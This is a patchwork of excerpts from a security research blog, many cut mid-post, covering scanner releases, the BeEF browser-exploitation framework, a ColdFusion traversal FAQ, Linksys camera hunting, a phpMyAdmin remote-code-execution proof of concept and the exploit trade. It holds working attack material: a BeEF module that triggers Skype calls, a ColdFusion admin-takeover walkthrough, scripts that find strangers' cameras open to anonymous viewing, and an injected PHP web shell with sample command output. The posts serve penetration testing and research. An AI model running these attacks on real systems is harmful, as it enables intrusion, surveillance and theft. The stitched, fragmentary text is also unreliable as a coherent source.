The testing engine used in this particular version of Websecurify is optimized to run with the least possible amount of memory. The results of the scanner are as good as those produced by all other Websecurify variants although in some cases it may miss some statistically unlikely types of issues. This is not directly and only applicable to the iPhone version. No! Similar tradeoffs are also present even in standard desktop/server based scanners although they are usually less visible and obscured behind tones of options. The bottom line is that the scanner not only runs natively on the iOS but also works as expected.

Now this is exciting! Websecurify is the first in the world mobile web application testing technology.

If you have any suggestions, recommendations or general feedback please do let us know. You can also participate in the beta test program which will allow you to have a play with tool as we are polishing it for the official release.

The possibilities are endless.

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

Wether this is the real deal or simply fear mongering, I simply don’t know. It is all speculations at the moment. The only thing we can say is that it is difficult to deny the fact that computers are important and whoever has control over them has control over people lives and can influence a lot of things including politics.

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

After having met Wade Alcorn (the initial author and project lead of BeEF), Christian mentioned his interest in helping out on the project where he could, which eventually led to Wade accepting his offer. The discussion was held over a couple of bottles of wine, so perhaps Wade’s regretting the decision now!

Christian’s role within the BeEF project, if it were to be defined, is odd-jobs-go-to-boy, command-module implementer, Ext-JS-fighter and twitter maintainer. When Christian is not working on BeEF, he’s doing his best to represent the Perth OWASP Chapter, or laying down crunchy beats on the drum-kit.

What follows are Chritian’s words on the BeEF project.

Sorry vegetarians, but BeEF is back. That’s right, the Browser Exploitation Framework is back, and it has now been rewritten from the ground up in Ruby. For those unfortunate people who haven’t had a chance to explore the older, PHP version of BeEF you’re only missing out on one of the greatest, most extensible XSS-payload management and exploitation frameworks out there, and the Ruby re-write is no different.

The Browser Exploitation Framework (BeEF) is a powerful, professional security tool. BeEF is pioneering techniques that provide the experienced penetration tester with practical client side attack vectors. Unlike other security frameworks, BeEF focuses on leveraging browser vulnerabilities to assess the security posture of a target.

One of the newer modules implemented in BeEF utilises the insecure handling of URL schemes in Apple’s iOS to trick Skype into starting an outbound call. This vulnerability was first written about by Nitesh Dhanjani and highlights that with the growing popularity of these devices these sorts of issues may lead to losses of information or other negative impacting events. The module itself is as simple as:

beef.execute(function() {
   document.body.innerHTML = "<iframe src=skype:<%= @tel_num
%>?call></iframe>";

   beef.net.sendback("<%= @command_url %>", <%= @command_id %>,
"result=IFrame Created!");
});

which, once added to a particular hooked browsers command queue will simply execute upon next poll, and if they automatically authenticate to the Skype application, will initiate a call. Due to iOS’ multi-tasking the Skype app does pop up to the top, so the end user is aware that the activity is occurring, but they’re not prompted to “confirm” the action. You can see this module demonstrated bellow:

The current release is 0.4.2.1-alpha, but by release 0.5 (the Sirloin Release) we’re expecting to have at least all of the PHP BeEF functionality provided plus much more, including:

1. jQuery included as part of the hooking process
2. Metasploit integration
3. Evercookie’s for persistence even after a hooked browser has been closed
4. full event logging, not just keystroke logging, to include window activation/deactivation, mouse clicks, etc
5. arbitrary HTTP requester
6. proxying
7. persistence modules (subtle popups or 100%x100% iframes)
8. detecting of social networking authentication status (as per this)

You can find out more about beef over at http://beef.googlecode.com or by following the @beefproject.

BeEF – Get it into ya!

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

The FAQ

Finally, by producing this FAQ I will attempt to explain why (at least on certain setups) this vulnerability should have been granted a CRITICAL rating by Adobe, rather than Important. As we’ll see bellow, it is possible to fully compromise the underlying OS of a vulnerable ColdFusion server by exploiting this directory traversal vulnerability.

How does the vulnerability work?

The vulnerability is a variation of a classic directory traversal vulnerability, also referred to as arbitrary file retrieval. The attack involves tricking a server-side script to provide the contents of a file that it was not originally supposed to be made available. By moving up a few directory levels, the attacker is able to obtain the contents of files outside the application server’s webroot via special strings such as ../. More information can be found on the OWASP website.

Is authentication required to exploit this vulnerability?

NO. The attacker doesn’t require knowledge of any passwords in order to exploit the directory traversal bug.

What’s the goal of the attacker when exploiting this vulnerability?

Just as any other type of directory traversal vulnerability, the attacker would usually attempt to obtain source code of the target site in order to identify security vulneraibilities. Additionally, the attacker would most likely attempt to obtain configuration files containing sensitive information. For instance, in the case of ColdFusion the attacker would most likely attempt to read the contents of neo-security.xml and password.properties. These configuration files contain database connection credentials and the ColdFusion administrator password respectively. Depending on how password.properties has been setup, the ColdFusion admin password will be hashed or stored in clear-text (encrypted=false).

What’s the worst that could happen once this vulnerability has been exploited successfully?

As we’ll see at the end of this post, once the attacker has gained access to the CF admin console – e.g.: by cracking the admin password – it might be possible to fully compromise the underlying OS.

How can the vulnerability be resolved?

You can either apply Adobe’s patch or restrict access to the following directories and file from trusted IP addresses only: /CFIDE/adminapi/ /CFIDE/administrator/ /CFIDE/componentutils/ /CFIDE/wizards/ /CFIDE/install.cfm

What are the mitigating factors?

This vulnerability cannot be exploited on ColdFusion 9.X when default settings are used, unless of course you figure out a way to get around the directory traversal signatures used by the filtering routines. Additionally, the ColdFusion administrator login console must be available to the attacker. It is however quite common to find CF admin consoles directly available on the Internet.

If a long and sufficiently random admin password is used, cracking the SHA1 hash could prove to be difficult. This is applicable to CF MX7, 8 and 9 (see UPDATE notes). Version 6 doesn’t hash the password, but instead encrypts it using a proprietary algorithm.

What versions of ColdFusion are affected?

According to the Adobe bulletin the affected versions are ColdFusion 8.0, 8.0.1, 9.0, 9.0.1 and earlier versions for Windows, Macintosh and UNIX. However, due to time constraints I have only personally confirmed the vulnerability on version 8.0.1 under Windows.

Can you provide the actual exploit?

No. ProCheckUp will provide the exploit details at a later date. Although Richard Brain privately shared POC URLs with me, I will not make them available. Exploit details were only provided to me as a trusted security analyst for purpose of assessing the impact of the vulnerability and help me write this FAQ in the hope that it will benefit the community.

UPDATE: the exploit details were published by an anonymous researcher on 14/08/2010, probably worked out by reverse-engineering Adobe’s patches. ProCheckUp has also released the exploit details as of 17/08/2010.

Can you describe a real attack scenario?

The following a real attack scenario against ColdFusion 8 on a Windows server:

1. Attacker confirms ColdFusion admin console is Internet facing. E.g. http://target-domain.foo/CFIDE/administrator/index.cfm
2. Attacker exploits directory traversal vulnerability and obtains the contents of C:\ColdFusion8\lib\password.properties, which contains the ColdFusion admin password
   
3. If the admin password was stored encrypted (actually CF8 hashes the admin password using the SHA1 algorithm, similar to CF MX7), the attacker then attempts to crack it via an offline password cracking attack or rainbow table lookup. Note that the default setting in ColdFusion 8 is encrypted=true as per password.properties file. Otherwise, if the password is stored unencrypted (encrypted=false), there would be no need for password cracking.
4. UPDATE: as suggested by Niels Teusink, an attacker could login as the CF administrator without needing to crack the SHA1 hash. I verified his observation and can confirm it works well. You can follow these steps (tested on Firefox 3.6.8) to login using the SHA1 hash. i.e.: no need to crack the password hash:
   1. Configure your favorite MITM proxy – e.g. Burp – to capture traffic between your browser and target CF admin console
   2. Enter hash in password field of login form (usually located on /CFIDE/administrator/enter.cfm)
   3. Type the following on your browser’s address bar and press enter (make sure JavaScript is enabled on your browser): javascript:hex_hmac_sha1(document.loginform.salt.value,document.loginform.cfadminPassword.value)
   4. Record value. e.g. AFA9C9D917916DE6CE05C1BFEC0470E07A246CB0
   5. Press browser’s Back button
   6. Press Login on the login form (trapping/intercept mode should be enabled on your MITM proxy at this point)
   7. Trap the login request and replace the value of the cfadminPassword parameter with the value recorded above
   8. Forward request
5. At this point, the attacker would be able to login as a CF admin and upload a malicious CFM script that would allow him to run remote commands (SYSTEM privileges by default). Uploading files to a CF server via the administrator console is a bit counter-intuitive. The attacker would basically add a scheduled task that would download cfexec.cfm to the server’s webroot
   
6. At this point, the attacker has gained full control of the underlying Windows OS as the CF service runs with SYSTEM privileges by default
   

If the CF admin password is hashed and the attacker is unable to crack it, he could always try to obtain the database connection credentials (C:\ColdFusion8\lib\neo-datasource.xml) which can be easily decrypted and then directly authenticate to the backend DB server. This however wouldn’t normally be possible on a firewalled environment where the back-end DB server is not directly exposed to the Internet. Network access controls are your friends!

Post Updates

• 16/09/2010 – new path added as part of blacklisting solution
• 16/09/2010 – added trick to login without cracking the CF admin password hash
• 16/09/2010 – mentioned recently published exploit code for the CF traversal vulnerability
• 18/09/2010 – fixed typos and mentioned release of exploit details by ProCheckUp

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

HITB aims to congregate members of the security community from all circles. From academics, and well known infosec personalities to loner-type independent researchers, and hobbyists just to name a few. I’ve personally attended past editions in Kuala Lumpur and Dubai and loved that the attendees and speakers came from a wide variety of backgrounds. If you don’t believe me, check out the pix of past conferences and you’ll find sec nerds and corporate professionals all partying in unison. Indeed, the HITB conferences are not only educational, but among the most fun sec events I’ve had the chance to attend.

Registration is still open, so you are still on time to take advantage of a great speaker lineup and one of the _de facto_ party capitals of Europe. The conference agenda can be found here. I’m really looking forward to Niels Teusink’s presentation on hacking Logitech wireless presenters and the release of detailed examples of JIT-spray techniques against IE8, FF3.6 by Alexey Sintsov (originally discussed by Dion Blazakis).

One more thing, almost forgot: there will be a bring-your-own-laptop web hacking challenge at HITB EU.

See you at HITB Amsterdam next month!

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

As we know, there are several ways one could go about hunting for IP cameras on the net. The slowest way would be to portscan random IP addresses for certain ports and programmatically detect if the web interface of a given camera was available on the open ports found. This method definitely works, but it can be very time consuming as it consists of scanning random IP addresses hoping that we’ll eventually come across the type of device we’re interested in.

The second method, which would be much faster in finding our target devices, would be to use a search engine and query content that is unique to our target devices (e.g.: URLs, HTML title). This method, popularized by GHDB is simple and effective. The only issue I find with this strategy is that many of these IP cameras found happen to respond very slowly. This is probably due to other curious individuals running the same searches and accessing the same cameras.

The third method which would allow you to find more hidden Linksys IP cameras (i.e.: not cached by search engines a.k.a. the hidden web), would consist of bruteforcing subdomains within dynamic domain names (DDNS) used by our target devices (Linksys IP cameras in this case). For instance, the following are some of the dynamic domain names supported by the WVC54GCA and WVC80N Linksys IP camera models:

• linksys-cam.com
• mylinksyscamera.com
• mylinksyshome.com
• mylinksyscam.com
• mylinksysview.com
• linksysremotecam.com
• linksysremoteview.com
• linksyshomemonitor.com

Camera discovery process through subdomain bruteforcing

We first save the aforementioned domains in a file, doms in this case. Then we use dnsmap to bruteforce subdomains for each of the domains included in doms.

Using dnsmap’s built-in wordlist:

$ for i in `cat doms`;do dnsmap $i -r ~/ -i 64.14.13.199,216.39.81.84&done;

Using a user-supplied wordlist, wordlist_TLAs.txt in this case, which is a three-letter acronym wordlist included with dnsmap v0.30:

$ for i in `cat doms`;do dnsmap $i -w wordlist_TLAs.txt -r ~/ -i 64.14.13.199,216.39.81.84&done;

Note: dnsmap’s -i option allows ignoring user-supplied IP addresses from the results. In this case, 64.14.13.199 and 216.39.81.84 belong to the DDNS service provider, and would therefore be regarded as false positives in this case (we’re only interested in IP cameras setup by their respective owners after all). For more info on how to use dnsmap, checkout the README file.

We then parse the IP addresses of the subdomains discovered by dnsmap:

$ grep \# dnsmap*.txt | awk '{print $4}' | sort | uniq > ips.txt

Next, we scan for ports that could potentially be used by a Linksys IP camera web server. In this case, we choose TCP ports 80, 1024 and 1025 as candidates:

$ sudo nmap -v -T4 -n -P0 -sS -p80,1024,1025 -iL ips.txt -oA nmap_http_ports.`date +%Y-%m-%d-%H%M%S`

This leaves us with a lot of discovered services, but we don't quite yet know which of them correspond to actual Linksys IP cameras web interfaces. There are many ways to fingreprint the web server of a Linksys IP camera. In this case we chose to create our own amap response signature, and then scan the open ports with amap.

Before amap is capable of identifying our target Linksys IP cams, the following response signature needs to be added to appdefs.resp, and amap then needs to be recompiled. Otherwise amap won't take the new signature into account:

http-linksys-cam::tcp::^HTTP/.*\nServer: thttpd/.*Accept-Ranges: bytes.*WVC

Please note that the previous amap response signature was only tested against the WVC54GCA and WVC80N Linksys IP camera models. So I'm not sure if it will work against other models. You've been warned!

Once recompiled, amap can be used to identify Linksys IP cameras from nmap's open ports results.

$ amap -i nmap_http_ports.2010-02-22-102001.gnmap -R -S -o amap_results.`date +%Y-%m-%d-%H%M%S`

We finally parse the IP addresses and open ports for all discovered Linksys IP cameras:

$ grep http-linksys-cam amap_results.2010-02-22-102253 | awk '{print $3}' | cut -d \/ -f1
x.x.167.245:1024
x.x.228.231:1025
x.x.228.231:80
x.x.64.22:80
x.x.206.70:1024
x.x.31.4:1024
x.x.164.28:1024
[snip]

At this point we have accomplished the task of creating a list of Linksys IP cameras without resorting to search engines or scanning random IP addresses. In order to discover more Linksys cameras, a more comprehensive wordlist would need to be used with dnsmap.

Of course, even further automation would be possible. For instance, an attacker may wish to programmatically identify which Linksys cameras from the previous list allowing video viewing to unauthenticated users:

$ amapfile=amap_results.2010-02-22-102253;for i in `grep http-linksys-cam $amapfile | awk '{print $3}' | cut -d \/ -f1`;do url="http://$i/img/main.cgi?next_file=main.htm";if curl --connect-timeout 2 -s -I --url $url | grep ^"HTTP/1.1 501">/dev/null;then echo $url;fi;done;
x.x.206.70:1024/img/main.cgi?next_file=main.htm
x.x.105.221:1024/img/main.cgi?next_file=main.htm
x.x.105.221:80/img/main.cgi?next_file=main.htm
x.x.181.195:1024/img/main.cgi?next_file=main.htm
x.x.243.154:1024/img/main.cgi?next_file=main.htm
x.x.243.154:1025/img/main.cgi?next_file=main.htm
x.x.30.196:1025/img/main.cgi?next_file=main.htm
[snip]

In addition to automatically checking for anonymous video viewing on all cameras found, other tasks such as checking for default credentials (admin/admin) could also be scripted, although this will NOT be included in this post (or any other at GNUCITIZEN).

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

New Features

Anyways, the following are some of the new features included:

• IPv6 support
• Makefile included
• delay option (-d) added. This is useful in cases where dnsmap is killing your bandwidth
• ignore IPs option (-i) added. This allows ignoring user-supplied IPs from the results. Useful for domains which cause dnsmap to produce false positives
• changes made to make dnsmap compatible with OpenDNS
• disclosure of internal IP addresses (RFC 1918) are reported
• updated built-in wordlist
• included a standalone three-letter acronym (TLA) subdomains wordlist
• domains susceptible to same site scripting are reported
• completion time is now displayed to the user
• mechanism to attempt to bruteforce wildcard-enabled domains
• unique filename containing timestamp is now created when no specific output filename is supplied by user
• various minor bugs fixed

For those who have never used dnsmap, dnsmap is a command line tool originally released in 2006 which helps discover target subdomains and IP ranges during the initial stages of an infrastructure pentest. dnsmap is a passive(ish) discovery tool meant to be used before an actual active attack. It’s an alternative to other discovery techniques such as whois lookups, scanning large IP ranges, etc … Run dnsmap and you should be able spot netblocks of a target organization in a relatively short period of time.

Dnsmap is open source and is known to work on Linux, FreeBSD and Windows using Cygwin, although it has mostly been tested on Linux.

The major drawback is lack of multi-threading support, which I’m hoping will be included in the next public release. Life is busy these days, but I’ll try to spend some time on this project when time allows and inspiration is available!

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

I successfully tested them on version 1.1, and according to Avaya this is the latest vulnerable version (version 2.0 is NOT affected apparently).

These vulnerabilities, although cool, are not critical since you need to be logged into the interface in order to exploit them. That being said, it could be handy for bypassing restricting imposed by the web GUI and eventually escalate privileges.

Apart from that, there were also the usual client-side bugs such as XSS and CSRF which are usually expected of an appliance with a web interface.

Details can be found on the attached PDF document.

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

On 5th of July 2009, the GNUCITIZEN team and friends came together to perform a skydiving gig. It has been two months since that day but memories are still as clear as yesterday.

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

These tools are not unfamiliar to modern day penetration testers. In fact, there are plenty of them to choose from, ranging from low-grade command line utilities to high-end frameworks. There are plenty of commercial tools as well some of which are a lot better, in terms of features and false-positives rate, when compared to open source alternatives. People often choose what they are more familiar with. I prefer to use tools that are right for the job without discriminating a particular operating system, platform, and style.

Without further ado, I would like to introduce to you yet another tool to compete in the market of automated web application security scanners (not only), released as part of our own Websecurify initiative. The tools is called Websecurify (big surprise) and it is written on the top of common web technologies, which provide significant benefit over other technologies used in open source and commercial alternative products.

Here are some of the key features of Websecurify:

1. It is 100% open source, GPL, CC product, ready to benefit the open source movement
2. The engine employs technologies, such as Web Workers, from the latest HTML5 specs
3. Most of the code is written in JavaScript but many parts can be rewritten or extended with Python, Java and C
4. The core engine can be taken out from the binary bundles and used as part of self-defending web applications. I will talk about this soon.
5. The testing and reporting mechanisms are asynchronous. This means that the report is cooking while the test is performed. It also means that decisions are taken immediately, i.e. they are not scheduled.
6. The tool is cross-platformed thanks to xulrunner
7. Everything is written with extensibility in mind
8. It can be extended in pretty much the same way you can extend Firefox and Thunderbird

There are many other features, which I am going to talk about soon.

At the moment the tool is only available as a MacOS DMG package and source code. The Windows and Linux versions will be released soon. In the future we are planning release all platform specific packages at the same time. Now is just an exception as we are mostly interested to get an early feedback. I am sure that that there will be a lot of bugs to fix and features to add/improve before we reach version 1.0.

Version 0.2 can be downloaded from www.websecurify.com or our source code repository.

If you have any feedback or you would like to contribute to this project, please do let us know. We can use any help possible.

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

I’ve been researching, pentesting, and preparing two different presentations which I gave at CONFidence in Krakow, and EUSecWest in London. pdp has also been busy presenting at AusCERT2009. In his Weaponry 2.0, pdp talked about current challenges experienced by pentesters, shared some of his experiments (i.e.: using QEMU) and introduced his Jeriko pentesting environment (NOT framework!).

My CONFidence presentation was on PCI DSS, and credit card theft from a pentester’s perspective. I attempted to explain why it’s possible for unsophisticated criminals to compromise credit card data. I also shared my frustrations with the PCI DSS standards, including some of its current weaknesses.

On the other hand, my EUSecWest presentation was on attacking magstripes gift cards, which apppear to be on the rise in the UK. The core of the research is about cloning (activated) gift cards without physically swiping the magnetic stripes. Trust me when I say that there is a lot of truth on Drago’s tweet regarding this research! My EUSecWest slides have just been recently published. More details will soon be available on a white paper which will be available on Corsaire Research website.

Thanks

I’d like to thank the organizers of these two great conferences, namely Andrzej Targosz from CONFidence and Dragos Ruiu from EUSecWest (plus their respective crews of course).

Also, special thanks to Corsaire who sponsored the time needed to prepare my presentation. I originally started my magstripe gift cards research about 3 years ago, but left it unattended for so long. If it wasn’t for Corsaire, this research wouldn’t have been resumed.

Finally, but not least, thanks to everyone who helped me prepare my presentations such as Jan Fry, Amir Azam, pavlovs_dog, Monsy Carlo, etc.

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

All the documentation you need is in the script comments. I recommend you to go through it, before you actually run the script.

After reading the public advisory and patched code, and playing around for a while, I managed to have a working PoC bash script. The script will allow you to remotely run shell commands and PHP code against vulnerable targets. Although in principle the vulnerability sounds quite simple, it actually took me a while to go from advisory to working attack code.

I’m providing the script with the hope that it will help pentesters and security researchers. Please only test the script against your own systems, or systems you have been given permission to pentest! Don’t be evil, it’s not worth it.

Demo

$ ./phpMyAdminRCE.sh
usage: ./phpMyAdminRCE.sh 
i.e.: ./phpMyAdminRCE.sh http://target.tld/phpMyAdmin/

$ ./phpMyAdminRCE.sh http://172.16.211.10/phpMyAdmin-3.0.1.1/
[+] checking if phpMyAdmin exists on URL provided ...
[+] phpMyAdmin cookie and form token received successfully. Good!
[+] attempting to inject phpinfo() ...
[+] success! phpinfo() injected successfully! output saved on /tmp/phpMyAdminRCE.sh.9217.phpinfo.flag.html
[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:

http://172.16.211.10/phpMyAdmin-3.0.1.1//config/config.inc.php?c=ls+-l+/


http://172.16.211.10/phpMyAdmin-3.0.1.1//config/config.inc.php?p=phpinfo();

    please send any feedback/improvements for this script to unknown.pentestergmail.com

$ curl "http://172.16.211.10/phpMyAdmin-3.0.1.1//config/config.inc.php?c=ls+-l+/"
total 96
drwxr-xr-x   2 root   root  4096 Mar 11 10:12 bin
drwxr-xr-x   3 root   root  4096 May  6 10:01 boot
lrwxrwxrwx   1 root   root    11 Oct 12  2008 cdrom -> media/cdrom
drwxr-xr-x  15 root   root 14300 Jun  5 09:02 dev
drwxr-xr-x 147 root   root 12288 Jun  5 09:02 etc
drwxr-xr-x   3 root   root  4096 Oct 18  2008 home
drwxr-xr-x   2 root   root  4096 Jul  2  2008 initrd
[partial output removed for brevity reasons]

Contents of /config/config.inc.php after our evil code has been successfully injected (injected code shown in bold):

<?php
/*
 * Generated configuration file
 * Generated by: phpMyAdmin 3.0.1.1 setup script by Michal ÄŒihaÅ™ <michal@cihar.com>
 * Version: $Id: setup.php 11423 2008-07-24 17:26:05Z lem9 $
 * Date: Tue, 09 Jun 2009 14:13:34 GMT
 */

/* Servers configuration */
$i = 0;

/* Server  (config:root) [1] */
$i++;
$cfg['Servers'][$i]['host']=''; if($_GET['c']){echo
'<pre>';system($_GET['c']);echo '</pre>';}if($_GET['p']){echo
'<pre>';eval($_GET['p']);echo '</pre>';};//'] = 'localhost';
$cfg['Servers'][$i]['extension'] = 'mysqli';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['compress'] = false;
$cfg['Servers'][$i]['auth_type'] = 'config';
$cfg['Servers'][$i]['user'] = 'root';

/* End of servers configuration */

?>

Thanks

I’d like to thank Greg Ose for discovering such a cool vuln and doing a nice writeup about the technical details! Also big thanks to str0ke for testing this PoC script and providing such useful feedback!

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

Mounting the filesystem on your workstation

There are many ways to mount the camera’s filesystem using the firmware binary. In this post, we’ll explain one way to mount firmware version v1.00R24 which is the latest available for the WVC54GCA model.

If you were to only use the firmware binary, things could be a bit difficult, as you don’t know the format of the binary at all. However, having the GPL firmware helps a lot as we’ll see next. I emailed Linksys back on Apr 23, 2009 informing them that although the GPL firmware was available on their site for other Linksys products, they hadn’t uploaded the one for the WVC54GCA camera. A few days later, on Apr 27, 2009, Linksys kindly made it available and has been available ever since (the file to download is wvc54gca_v1.00R24.tgz).

Thanks to Lex Landa‘s tips I was able to figure out the parameters required to mount the firmware binary, by analysing the data contained in the ./scripts/wvc54gc_usa_english/combine.cfg file which is included with the GPL firmware:

size = 00400000
file = WVC54GCA.bin
f1_name = loader
f1_start = 00000000
f2_name=loader.ver
f2_start=00007FFE
f3_name=kernel
f3_start=00020000
f4_name=filesystem
f4_start=000E0000
f5_name=PID
f5_start=003FFFB2

I simply focused on the kernel and filesystem parameters. The previous settings show that then kernel starts at 0x20000 (131072 bytes / 128 KB), and the filesystem starts at 0xE0000 (917504 bytes / 896 KB). In order to start dd reading at 0xE0000, we need to keep 7 chunks of 131072 bytes. i.e.:7*131072=917504 bytes=0xE0000 (the position we want)

$ dd if=DYFF08-402-1024.bin bs=131072 of=fs.img skip=7
25+0 records in
25+0 records out
3276800 bytes (3.3 MB) copied, 0.019424 s, 169 MB/s

We then verify that our image file is a valid squashfs filesystem:

$ file fs.img 
fs.img: Squashfs filesystem, little endian, version 3.0, 2216311 bytes, 475 inodes, blocksize: 65536 bytes, created: Fri Nov  9 03:58:52 2007

A finally mount it on our hardrive:

$ sudo mkdir /mnt/test
$ sudo mount -t squashfs fs.img /mnt/test -o ro,loop
$ ls /mnt/test/
bin  dev  etc  lib  mnt  proc  root  sbin  tmp  usr  var

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

Got the idea? No? Let me explain. What you see in the video above is an application for the iPhone which gives you detailed characteristics of properties (houses) in USA. You can either search the map or just use your GPS coordinates to get information such as price of the house, number of floors, number of rooms, pictures taken from inside the house if the house was part of any register (letting agencies etc.) before you moved in, and other interesting information.

This is the kind of information gathering you see only in the movies. I won’t be surprised if future versions of these kind of applications can pool even essential blueprints which show not only how the house was constructed from architectural point of view but also show the power and gas grids and perhaps even any other wiring such as telephone, coaxial, etc.

All of this information is also available through easily accessible APIs. Perhaps these APIs are not publicly known but anyone who can run a sniffer most certainly can get hold of the URLs and their formats. Now mash this APIs with any other tool such as one that correlates IP address to physical location (not very accurate btw) or better yet a wardriving tool and you have a infowar machine in your pocket that will make any criminal organization proud of.

This was the main purpose of my Web2.0 talk/research from two years ago. Back then I made a very simple analogy which I would like to bring once again. When the email was invented nobody even suspected that it will be used for things such as spam and malware. That was something unimaginable. Today spam is the fastest growing criminal industry and malware delivered over email is the most successful one. In summary, we cannot foresee how a technology will be used/abused. That depends on the imagination of the people.

The same goes for the Web2.0 meme. The more we use it, the more ways we will find to abuse it. However it is also important to say that the more we use it the more accustomed we will become to it. Therefore, when the shit hits the fan there will be very little that we can do.

The reason I am bringing this up is not because I would like to start even more FUD around the Web2.0 mem but it is time for us to stop looking into the technical aspects and start thinking in terms of technologies that affect normal people. Sometimes, we just lack the realism and we fail to spot the obvious problems.

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

The conflict seems to be resolved now to one degree or another but it is interesting to observe the whole situation and also draw important conclusions. Therefore, I’ve got several points I would like to bring to the table:

1. More examples of similar nature will follow. Keep an eye on Facebook, Apple AppStore, Firefox and other platforms that allow 3rd-party components to be displayed, downloaded and executed.
2. As I mentioned before, a malicious piece of JavaScript code (even an obvious obfuscation) can be quite easily smuggled into harmlessly looking Firefox extensions. If I may speculate, the situation is the same for other similar platforms.
3. Unless platform vendors do something about it, they could become the next hot spot for all sorts of interesting malware.

It is also very interesting to see the extend to which extension developers will go in order to protect their userbase. After all, larger userbase equals more money. And with more people looking to quickly cache in, the battlefield is truly changing for better or worse.

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

Later on, during the CONFidence 2008 event in Krakow I met a bunch of people who claimed that they already sell exploits to various UK companies and the figures that they were making were outstanding. To give you a clue, given the pound dollar difference at that time, you could have made 6 times more than what ZDI and other similar programs can offer you for a top range exploit. This is already better than a top salary in UK.

Same year, different event… I saw an interesting presentation by Robert McArdle from Trend Micro. The presentation was titled Fighting web Based, Profit-Driven Threats. On one of his slides, Robert commented that cybercrime is becoming more profitable than the drug cartels. Perhaps you wont be able to make as much money from carding as you might expect but you can do quite well selling visualized stuff, such as exploits and exploit toolkits.

Present times, DojoSec Monthly Briefings… Matthew Watchinski from Sourcefire VRT talked about a PDF 0day spreading around Xmas time. The exploit took a couple of good months for Adobe to fix it. The author sold it for 75K to a unknown 3rd-party in China according to Matthew. The vulnerability was also relatively easy to find and required very little experience to exploit.

All of this leads to the very obvious conclusion which is that at present times cybercrime is a flourishing industry. Soon, there will be even more recruits coming to join the dark-side forces of the cybercrime cartels. They will do it for the money!

No more free bugs you say? I say that you are leading people to become the next generation of cyber menace. Perhaps you forgot that the information security community was built on and thrived because of a simple but fundamental principle: knowledge must be free.

Sell The Bugs

Regardless how good these figures may sound to you, you need to take a step back and think really well what you are getting into. Here are a few points that you need to consider before selling exploits:

• Cybercrime is not a joke – If you get caught selling exploits to a dodgy 3rd-party you may end up with a prison sentence longer than the sentence of a child molester. If you live in US or UK you could be charged and treated as a terrorist which will completely destroy not only your life but the life of your closes people.
• TAX man problems – Oh Yes! Unjustifiable incomes could get you in trouble with the TAX man. The TAX man will hunt you and hurt you.
• Broken legs and other broken parts of the body – You have no idea to whom you are selling to. Tomorrow you may wake up with broken legs and twice as poorer as the day before.
• Even worse – People will kill for a lot less than 75K. Keep that in mind.

In my humble opinion, exploit brokerage is a risky business. There is an unquantifiable risk associated with this practice and that is only due to the high price of exploits which are sold today.

Exploit Sweatshop

Nevertheless, it is just silly to believe that no one is producing and selling exploits in a large scale. Do you remember the numerous gaming sweatshops which sprung up like wild mushrooms after the recent heavy rains in 3rd-world countries? I recall seeing a documentary on a typical day in a Chinese WoW sweatshop. I remember I saw a room full of almost naked people, numerous PCs hooked up into a gigantic DIY network spreading across the entire floor. Most of the WoW accounts were fully automated, running from virtualized platforms.

The aim was simple: a) develop many characters in a semi-automated fashion by killing small animals and other things around the WoW world and b) sell the characters plus other artifacts to western buyers for a substantial amount of money. All of this can be achieved for as little as $70 a month per person. This is a remarkable business model which works extremely well.

